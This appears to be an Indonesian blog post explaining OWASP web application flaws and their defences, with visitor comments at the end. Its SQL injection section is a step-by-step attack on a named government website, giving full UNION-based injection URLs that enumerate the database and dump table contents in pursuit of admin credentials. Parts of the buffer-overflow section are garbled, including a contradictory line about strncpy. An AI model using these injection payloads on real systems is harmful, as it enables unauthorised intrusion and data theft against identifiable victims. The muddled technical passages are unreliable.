Open Web Application
Security Project (OWASP) adalah project open source yang dibangun untuk
menemukan penyebab dari tidak amannya sebuah software dan menemukan cara
menanganinya ada 9 celah keamanan aplikasi web yang ditemukan dan rekomendasi
mereka tentang menangani sebagai sebuah standard keamanan minimal dari aplikasi
web.
Berikut ini adalah 10 celah
tersebut dan cara agar kita dapat mengatasi masalah tersebut.
I
Unvalidated input
semua aplikasi web menampikan
data dari HTTP request yang dibuat oleh user dan menggunakan data tersebut
untuk melakukan operasinya. Hacker dapat memanipulasi bagian-bagian pada
request (query string, cookle information, header) untuk membypass
mekanisme keamanan.
berikut ini tiga jenis
penyerangan yang berhubungan dengan masalah ini:
a.
Cross site
scripting
b.
Buffer overflow
c.
Injection
flaws
II
Broken Access Control
Banyak aplikasi yang mengkategorikan user-usernya
ke dalam role yang berbeda dan level yang berbeda untuk berinteraksi dengan
content yang dibedakan dari kategori-kategori tersebut, salah satu contohnya,
banyak aplikasi yang terdapat user role dan admin role: hanya admin role yang
dijinkan untuk mengakses halaman khusus atau melakukan action melakukan action
administration.
Masalahnya adalah beberapa aplikasi tidak efektif
untuk memaksa agar otomatis ini bekerja contohnya, beberapa program hanya
menggunakan sebuah chekpoint dimana hanya user yang terpilih yang dapat
mengakses: untuk proses lebih lanjut, user harus membuktikan dirinya
menjalankan pengecekan dari chek point sebelumnya: dimana apabila user berhasil
melewati halaman login, mereka dapat bebas menjalankan operasi.
Masalah lain yang berhubungan dengan access control
adalah :
a.
Insecure Ids (Id Tidak aman) – beberapa site
menggunakan id atau kunci yang menunjukan kepada user atau fungsi. ID dapat
juga ditebak, dan jika hacker dapat mudah menebak ID dari user yang
terautorisasi, maka site akan mudah diserang.
b.
File permissions- kebanyakan web dan aplikasi server
percaya kepada external file yang menyimpan daftar dari user yang terotorisasi dan
resources mana saja yang dapat dan/atau tidak dapat di akses. Apabila file ini
dapat di baca dari luar, maka hacker dapat memodifikasi dengan mudah untuk
menambahkan dirinya pada daftar user yang diijinkan.
Langkah
–langkah apa saja yang dapat di lakukan untuk mengatasinya? Pada contoh-contoh
tadi, kita dapat mengembangkan filter atau komponen yang dapat di jalankan pada
sensitive resources, filter atau komponen tadi dapat menjamin hanya user yang
terotorisasi dapat mengakses. Untuk melindungi dari inseure Ids yang dapat
memberi acess control, pada masalah file permission, file-file tersebut harus
berada pada lokasi yang tidak dapat di akses oleh web browser dan hanya role
tertentu saja yang dapat mengaksesnya.
III Broken
Authentication dan session Management
Authentication
dan session management menunjuk kepada semua aspek dari pengaturan user
authentifikasi management of active session, ini beberapa hal yang perlu di
perhatikan :
a.
Password strength-Aplikasi kita harus memberikan level
minimal dari keamanan sebuah password dan mendaftar: aplikasi tidak mengijinkan
password dengan panjang 3-4 atau kata-kata simple yang dapat mudah ditebak oleh
hacker.
b.
Password use –Aplikasi kita harus membatasi user yang
mengakses aplikasi melakukan login kembali ke sistem pada tenggang waktu
tertentu. Dengan cara ini aplikasi dapat dilindungi dari serangan brute force
dimana hacker bisa menyerang berulang kali untuk berhasil login ke sistem,
selain itu, log in yang gagal sebaiknya dicatat sebagai informasi kepada
administrator untuk mengindikasikan kemungkinan serangan yang terjadi.
c.
Password storage – password tidak boleh disimpan di
dalam aplikasi. Password harus disimpan dalam format terenkripsi dan disimpan
di file lain seperti database atau file password. Hal ini dapat meastikan bahwa
informasi yang sensitif seperti password tidak disebarkan ke dalam aplikasi.
Issue lain
yang berhubungan: password tidak boleh dalam bentuk hardcode didalam source
code
Session ID
Protection – server biasanya menggunakan session Id untuk mengidentifikasi user
yang msauk kedalam session. Akan tetapi jika session ID ini dapat dilihat oleh
seseorang pada jaringan yang sama, orang tersebut dapat menjadi seorang client.
Salah satu
cara yang dapat digunakan untuk mencegah terlihat sessio ID oleh seseorang pada
suatu jaringan yang sama adalah menghubungkan komunikasi antara server dan client
pada sebuah SSL-protected channel.
IV Cross
Site Scripting
Cross Site Script atau kependekannya XSS
merupakan salah satu serangan injeksi code (code
injection attack). XSS dilakukan oleh penyerang dengan cara memasukan kode
HTML (HyperText Markup Language) atau client
script code lainnya kesuatu situs. Serangan ini akan seolah-olah datang
dari situs tersebut akibat serangan ini antara lain penyerang dapat mem-bypass keamanan disisi klkien, mendapat
informsi sensitif, atau menyimpan aplikasi berbahaya.
Alasannya
kependekan yang digunakan XSS bukan CSS karena CSS sudah digunakan untuk cascade syle sheet.
Cross site Scripting atau XSS memiliki Tipe XSS antara lain:
1.
Reflected XSS
atau nonpersitent
Reflected XSS merupakan tipe XSS yang
paling umum dan yang paling mudah dilakukan oleh penyerang. Penyerang
menggunakan social engineering agar
tautan dengan kode berbahaya ini diklik
oleh pengguna. Dengan cara ini penyerang bisa mendapatkan cookie pengguna yang bisa digunakan selanjutnya untuk membajak session pengguna.
Mekanisme
pertahanan menghadapi serangan ini adalah dengan melakukan validasi input
sebelum menampilkan data apapun yang di-generate
oleh pengguna. Jangan percaya apapun data yag dikirim oleh pengguna.
2.
Stored XSS
Stored XSS
lebih jarang ditemui dan dampak serangannya lebih besar. Sebuah serangan stored
XSS dapat berakibat pada seluruh pengguna. Stored XSS terjadi saat pengguna
diizinkan untuk memasukan data yang akan ditampilkan kembali. Contohnya adalah
pada message board, buku tamu, dll.
Penyerang memasukkan kode HTML atau client script code lainnnya pada posting
mereka.
Serangan ini
lebih menakutkan. Mekanisme pertahanannya sama dengan reflected XSS: jika pengguna diizinkan untuk memasukkan data,
lakukan validasi sebelum disimpan pada aplikasi.
V
Buffer over Flow
Kelemahan
Buffer overflow adalah salah satu dari banyak kelemahan dari keamanan komputer.
Kelemahan jenis ini dapat digunakan pada remote acces atau local acces atau,
karena ini dapat memberikan si Attacker kesempatan untuk melancarkan
jurus-jurus dengan coding di komputer target.
Serangan
Buffer overflow terjadi ketika si attacker emberikan input yang berlebihan pada
program yang di jalankan, sehingga program mengalami kelebihan muatan dan
memory tidak dapat mengalokasikannya. Ini memberikan kesempatan kepada Attacker
untuk menindih data pada program dan men take over kontrol porgram yang
dieksekusi attacker.
Buffer over
flow hasil dari kelemahan bahasa pemograman c, c++, fontran, dan assembly, yang
tidak secara otomatis melakukan pengecekan batas input ketika program
dieksekusi. Sebagai akibat dari Buffer overflow dapat menyebatkan crash pada
program, atau mempersilahkan si Attacker untuk mengesekusi perintah atau coding
jahatnya untuk menguasai sistem target, seperti tujuan mengambil alih akun root
menggunakan metode buffer overflow.
Di dalam
artikel ini, kami mencoba sedikit memberikan penjelasan bagaimana buffer
overflow itu bekerja, dan bagaimana cara mengatisipasinya. Buffer overflow
biasa terjadi sebagai berikut :
1.
Program yang begitu kompleks, sehingga programmer
sendiri tidak mengetahui kelemahan programnya.
2.
Relies on external data to control pada program.
Buffer
adalah alokasi yang disediakan di memory seperti array atau pointer di c. Di
bahasa C dan C++, tidak ada pembatasan otomasyisa pada buffernya, yang mana
user dapat menulis input melewati buffer. Sebagai contoh:
Int main (){
Int buffer [10];
Buffer [20] =10;
}
Program
bahasa C diatas adalah program yang valid, dan setiap compiler dapat mengkompil
ini tanpa error. Tetapi, program ini dapat di jahili dengan menuliskan input
melebihi batas buffer memory yang telah ditentukan, yang mana akan menghasilkan
kesalahan pada program.
Sebuah proses adalah program dalam
eksekusi. Program yang tereksekusi di dalam disk mengandung beberapa set
intruksi binary yang dikerjakan oleh processor; beberapa read only data,
seperti printf string format; global dan data statis yang output terakhir
eksekusi program; dan sebuah brk pointer yang menjaga jalur dari malloced
memory. Fungsi loval variabel adalah otomatis terbentuknya variabel dalam stack
ketika fungsi di eksekusi
Ilustrasi di
atas memperlihatkan layout memory di linux. Sebuah proses dimulai dengan coding
program-program dan data. Kode dan data berada dalam intruksi program dan
inisialisasi dan unisialisasi statis dan global data secara berturut-turut.
Setelah itu adalah run-time heap (Dibuat menggunakan malloc/calloc), dan di
posisi atas adalah users stack. Stack ini digunakan ketika sebuah fungsi di panggil.
Bagian Stack
Stack adalah
beberapa blok dari memory yang berisi data. Sebuah stack pointer (SP)
menunjukan paling atas dalam stack. Ketika pemanggilan fungsi terbentuk, para
meter fungsi masuk ke dalam stack dari kanan ke kiri. Kemudian alamat pengembalian
nilai (alamat yang akan di eksekusi setelah pengembalian nilai fungsi yang
ditunjuk oleh frame pointer (FP), masuk ke dalam stack. Frame pointer digunakan
sebagai referensi variabel lokal dan parameter fungsi, karena itu semua adalah
kesatuan dari FP, otomatisasi lokal variabel masuk ke dalam stack setelah FP.
Dalam Implementasinya stack terpenuhi dari alamat memory yang besar ke yang
kecil.
Ilustrasi di
atas adalah bagian- bagian dari stack ketika sebuah fungsi dieksekusi.
Perhatian FP berada di antar local dan return addresses. Sebuah contoh dalam
bahasa C,
Void function (int a, int b,
int c) {
Char buffer 1[5];
Char buffer2 [10];
}
Int main (){
Function (123)
}
Function stack seperti di
bawah ini
Seperti yang
kita lihat, buffer 1 manggunakan 8 bytes dan buffer 12 byter, di memory dapat
diaalamatkan hanya dalam beberapa bytes (4 byters), sebagai tambahan FP
digunakan untuk megakses variabel a,b,c buffer 1 dan buffer 2. Semua variabel
tersebut tiak mengambil space dalam disk copy eksekusi.
Buffer
Overflow: Detailnya
Contoh lain
dalam bahasa C
Void function (char*str){
Char buffer [16]
Strcpy (buffer, str);
}
Int main (){
Char*str=”I am greater than
16 bytes”;// Panjang dari str = 27 bytes function (str);
}
Program ini
dijamin setelah di kompil, akan menghasilkan eror, karena string (str) sebesar
27 bytes terkopi ke dalam lokasi (buffer) yang hanya di alokasikan sebesar 16
bytes. Ekstra bytes melewati buffer dan menimpa ruang yang di alokasikan untuk
FP, return address juga terkena. Hal ini, menyebabkan corupt dalam proses
stack. Fungsi yang digunakan untuk kopi string adalah strcpy, yang tidak
memeriksa batasan inputnya. Menggunakan strncpy, yang tidak memeriksa batasan
inputnya. Menggunakan strncpy akan menghindari kejadian ini di dalam stack. Bagaimanapun,
contoh klasik ini, menunjukkan bagaimana konsep buffer overflow dalam menimpa
sebuah fungsi return address, dan dilanjutkan dengan menjalan beberapa
malicious code.
Overwriting Function’s Return Addresses
Seperti yang
kita tahu, sangat mudah untuk melakukan overwriting function’s return
addresses, attacker menggunakan teknik buffer overflow untuk mendapatkan akses
root. Attacker mencoba mengesekusi buffer buffer overflowwing area, menimpa
nilai dari return address yang mengisi nilai ke buffer dan mengesekusi kode
jahatnya. Sebagai kode yang bisa dimasukkan ke dalam program menggunakan
environment variabel atau program input parameters. Sebagai contoh coding yang
bisa mendapatkan shell akun root pada paper yang ditulis oleh aleph One untu
Phrack Magazine di http://destory.net/machines/security/p49-14-aleph-one
.
Tindakan Untuk Mencegah Buffer Overflow
Tidak
satupum metode yang dijelaskan di bawah yang benar-benar bisa mencegah kemungkinan
serangan, namanyajuga manusia tempatnya salah dan lupa. Tetapi metode dibawah
ini, dapat meminimalisir dari kegiatan buffer overflow yang mengakibatkan
kerusakan stack.
1.
Menulis kode yang aman : Buffer overflow adalah hasil
dari input yang berlebihan ke dalam buffer. C library seperti strcpy (), stcat
(), sprintf () dan vsprintf beroperasi pada null terminated strings dan tidak
mengecek batasan input. Gets () juga fungsi lainnya yang memasukkan input ke
dalam buffer dari stdin. Pada scanf () juga bisa mengakibat buffer overflows.
2.
Stack execute invalidation: karena koding jahat
(contoh, instruksi assembly untuk mengambil alih root shell) merupakan input
rgument ke dalam program, ini tersimpan ke dalam stack dan bukan dalam code
segment. Oleh karena itu solusi mudahnya adalah tidak memperboleh adalah tidak
memperbolehkan stack mengesekusi intruksi apapun. Kode apapun yang dieksekusi
dengan kode lainnya di dalam stack dapat mengakibatkan segmentation violation.
3.
Compiler tools : Beberapa tahun terakhir, compiler
mempunyai kemampuan lebih. Beberapa compiler di lengkapi peringatan dalam
menggunakan kostruk yang tidak aman seperti gets (), strpy () dan sejenisnya
sebagai contoh:
Int main (){
Char*str = (char*) malloc
(10);// mengalokasikan 10 bytes untuk str
Gets (str);// membaca input
dari stdin dan disimpan ke str
}
Setelah di
compiler tool mempunyai fitur untuk bounds checking, jadi meng generate kode
yang built-in tanpa mengubah struktur kode yang dapat menghindarkan penggunaan
ilegal address tidak diperbolehkan untuk eksekusi. Gunakanlah patch GCC untuk
mendapatkan fitur mendapatkan fitur bounds checking, dapat anda temui di http://web.inter.nl.net/hcc/Haj.Ten.Brugge
patch ini juga mencegah tindakan penimpaan return adress, seperti yang banyak
terjadi. Dan juga gunakan tools stackshield di
VI
Injection Flows
Injection flaws,yaitu salah satu teknik hacking yang memanfaatkan
celah keamanan pada basis datanya. dan yang sering digunakan adalah SQL injection
dengan memasukan perintah-perintah SQL pada website yang lemah dalam
membuat struktur basis data, akan memudahkan bagi hacker untuk mendapatkan
informasi pribadi, seperti strukur tabel basis data, kolom-kolom yang terdapat
pada tabel basis data tersebut, hingga isi record
basis data tersebut. sehingga hacker bisa
mengetahui username atau id dan password admin pengelola website tersebut.
SQL injection termasuk
salah satu cara menembus celah keamanan yang sudah lama diketahui, namum hingga
saat ini masih banyak pemeintah Indonesia, salah satunya adalah website milik
salah satu instansi pemerintah di bawah kementerian Riset dan Teknologi
Republik Indonesia dengan alamat url : http://....go.id
Gambar 1. Halaman utama website
Bagaimana sebuah website bisa diketahui memiliki kelemahan untuk di lakukan
sql dengan memasukan karakter- atau ` ke dalam halaman website yang memiliki
karakter angka, misalnya : http://drn.go.id/index.php?option=com_frontpage&catid=13 ,sehinga didapat error page seperti gambar di bawah ini. Error SQL ini
merupakan salah satu kelemahan dalam membangun struktur basis data dalam
mendefinisikan type data.
Gambar 2.error page
Error SQL yang terlihat, dapat dimanfaatkan untuk mengetahui nama database
dan table-table dalam databse tersebut yang digunakan sebagai basis data
website ini.
Untuk mengetahui nama databasenya
adalah dengan menambahkan sintak ‘ and 1=2 by n`pada akhirnya alamat url,
dimana n=12345,...,n dimasukan satu per satu nilai n tersebut, sehingga error
page berubah menjadi ‘unknown coloum’
Gambar 3. error unkown coloum
Pada website ini error ‘unkown
column’ yang ditemukan adalah mengetahui versi mysql dan username
administrator database, yaitu dengan memasukkan sintak `and 1=2 union select version(), 2-`sehingga diketahui versi
mysqlnya adalah versi 5.
Gambar 4. diketahui versi mysql
Dan selanjutnya untuk mengetahui nama username dan databse pada website ini
adalah dengan mengganti sintak version (), menjadi databsse dan user (),
contohnya adalah alamat url berikut ini:
Gambar 5. diketahui nama database
Dan setelah nama databasenya, akan mudah untuk mengetahui nama tabel-tabel
pada database tersebut, adalah dengan memasukkan sintak `and 1=2 union select group_concat (table_name) from
information_schema.tables where table_schema=database ()- `pad akhir alamat
url, menjadi :
maka akan diketahui nama-nama tabel pada database tersebut seperti pada
gambar dibawah ini
Gambar 6. nama table-table pada database
Terlihat nama table-table pada database ini adalah agenda batas_orangjam,
buku_alamat, dimanam direktori, direktori_url, disposisi_surat, fasilitas,
file,tb, forum, grup, grup_pengguna, hasil_jajak,_pendapat, ing_core_acl_aro,
ing_core_acl_aro_groups, ing_core_acl_aro_sections,
ing_core_acl_group_aro_map,ing_core_log_items,ing_core_log_sear
Setelah mengetahui struktur tabel pada database ini, akan mudah untuk
mengetahui nama kolom-kolom pada tabel-tabel tersebut adalah dengan memasukkan
sintak : `and 1=2 union select
group_concat (table_name) from information_schema.tables where table_name=mysqlchar(table_name)-,
bagaimana mendapatkan nilai mysqchar adalah dengan mengkonversi nama tabel
menjadi bantuan sql pada localhost kita, nama tabel agenda dikonversi menjadi char (97,103,101,110,100,97).
Sehingga alamat url menjadi : http://www.drn.go.id/index.php?option=isi&task=view&id=-281%20and%201=0%20union%20select%20group_concat(column_name),2%20from%20information_schema.columns%20where%20table_name=CHAR(97,103,101,110,100,97)--&Itemid=2
Dan didapat nama kolom pada tabel agenda seperti pada gambar
Gambar 7. nama kolom pada tabel agenda
maka diketahui, nama kolom pada tabel agenda adalah kode_agenda pemilik,
judul, tipe, tgl_mulai, waktu_mulai, waktu_selesai, kode_pengulangan,
kode_undangan, deskripsi, tgl_dibuat, tgl_diubah, sharing_publik,
sifat_sharing, undang_via_email, undang_via_sms.
Terakhir untuk mengetahui isi dari kolom-kolom tersebut adalah dengan
memasukkan sintak `and 1=2 union select
group_concat(nama_kolom0x3a,nama_kolom lainnya) from nama_table-
Sehingga url menjadi :
http://www.drn.go.id/index.php?option=isi&task=view&id=-281+and+1=2+union+select+group_concat(kode_agenda,0x3a,pemilik,0x3a,judul,0x3a,tipe,0x3a,tgl_mulai,0x3a,waktu_mulai,0x3a,waktu_selesai,0x3a,kode_pengulangan,0x3a,kode_undangan,0x3a,deskripsi,0x3a,tgl_dibuat,0x3a,tgl_diubah,0x3a,sharing_publik,0x3a,sifat_sharing,0x3a,undang_via_email,0x3a,undang_via_sms),2+from+agenda--&Itemid=2
Gambar 8. isi kolom pada tabel agenda
Maka selanjutnya sql injection inid apat dimanfaatkan oleh orang yang tidak
bertanggung jawab untuk mengetahui nama username dan administrasi untuk login
sebagai administrator website ini.
VII Insecure storage
Aplikasi web
biasanya perlu menyimpan informasi yang sensitif seperti password, informasi
kartu kredit, dan yang lain. Dikarenakan item-item tersebut bersifat sensitif
item-item tersebut perlu dienkripsi untuk menghindari pengaksesan secara
langsung. Akan tetapi beberapa metode enkrips lemah dan masih bisa diserang.
Berikut ini
beberapa kesalahan yang sering terjadi :
- Kesalahan untuk mengenkripsi data penting.
- Tidak amannya kunci, certificate, dan password
- Kurang amannya tempat penyimpanan data
- Kurangnya perhitungan dari rekomendasi
- Kesalahan pemilihan algoritma
- Mencoba untuk menciptakan algoritma enkripsi yang baru.
Berdasarkan
skenario berikut ini : Terdapat sebuah aplikasi, dimana terdapat password pada
user object. Akan tetapi, aplikasi menyimpan user objek ke dalam session setelah
user login. Permasalahan yang akan muncul pada skenario ini adalah password
dapat dilihat oleh seseorang yang dapat melihat session user tersebut.
Salah satu
cara yang dilakukan untuk menghindari kesalahan penyimpanan informasi yang
sensitif adalah : tidak membuat password sebagai atribut dari kelas yang
mewakili informasi user; Daripada mengenkripsi nomor kartu kredit dari user,
akan lebih baik untuk menanyakannya setiap kali dibutuhkan.
Selain itu,
menggunakan algoritma enkripsi yang sudah ada akan lebih baik daripada membuat
algoritma sendiri. Anda cukup memastikan algoritma yang akan digunakan telah
diakui oleh public dan benar-benar dapat dilaksanakan.
VIII
Deniel of Service
Deniel of
Service merupakan serangan yang dibuat oleh hacker yang mengirimkan request
dalam jumlah yang sangat besar dan dalam waktu yang bersamaan. Dikarenakan
request-request tersebut, server menjadi kelebihan beban dan tidak bisa
melayani user lainnya.
Serangan DoS
mampu menghabiskan bandwidth yang ada pada server. Selain itu dapat juga
menghabiskan memory, koneksi database, dan sumber yang lain.
Pada umumnya
sangat sulit umtuk melindungi apliksi dari serangan ini. Akan tetapi masih ada
cara yang dapat dilakukan seperti membatasi resource yang dapat di akses user
dalam jumlah yang minimal. Merupakan ide/cara yang bagus untuk membuat load
quota yang membatasi jumlah load data yang akan diakses user dari sistem.
Salah satu
contoh adalah pada implementasi bulletin board : adanya pembatasan user pada
ssaat melakukan search, dimana operasi ini hanya dapat dilakukan setiap 20
detik. Dengan cara ini dapat dipastikan bahwa user tiadk bisa menghasbiakan
koneksi dari database.
Solusi yang
lain adalah mendesain aplikasi web dimana user yang belum terotorisasi hanya
memiliki akses yang sedikit atau tidak memilki akses ke content web yang
berhunbungan dengan databse.
IX
Insecure Configuration Management
Biasanya
kelompok (group) yang mengembangkan aplikasi berbeda dengan kelompok yang
mengatur hosting dari aplikasi. Hal ini bisa menjadi berbahaya, dikarenakan
keamanan yang diandalkan hanya dari segi aplikasi : sedangkan dari segi server
juga memiliki aspek keamanan yang perlu diperhatian, Adanya kesalahan dari
konfigurasi server dapat melewati aspek keamanan dari segi aplikasi.
Berikut ini
adalah kesalahan konfigurasi server yang bisa menimbulkan masalah :
- File-file backup atau file contoh (sample dile), file-file script, file konfigurasi yang tertinggal/tidak perlu.
- Hak akses atau file yang salah.
- Adanya service yang seperti remote administration dan content management yang masih aktif.
- Penggunaan default account dan default password.
- Fungsi administrative atau fungsi debug yang bisa diakses.
- Adanya pesan error yang informatif dari segi teknis.
- Kesalahan konfigurasi SSL certificate dan setting enkripsi.
- Penggunaan self-signet certificates untuk melakukan autentikasi.
- Penggunaan default certificate.
- kesalahan autentifikasi dengan sistem eksternal.
maantaf bos atas infonya
BalasHapusthanks infonya ya artikelnya membantu banget nih
BalasHapushttp://www.seoindek.com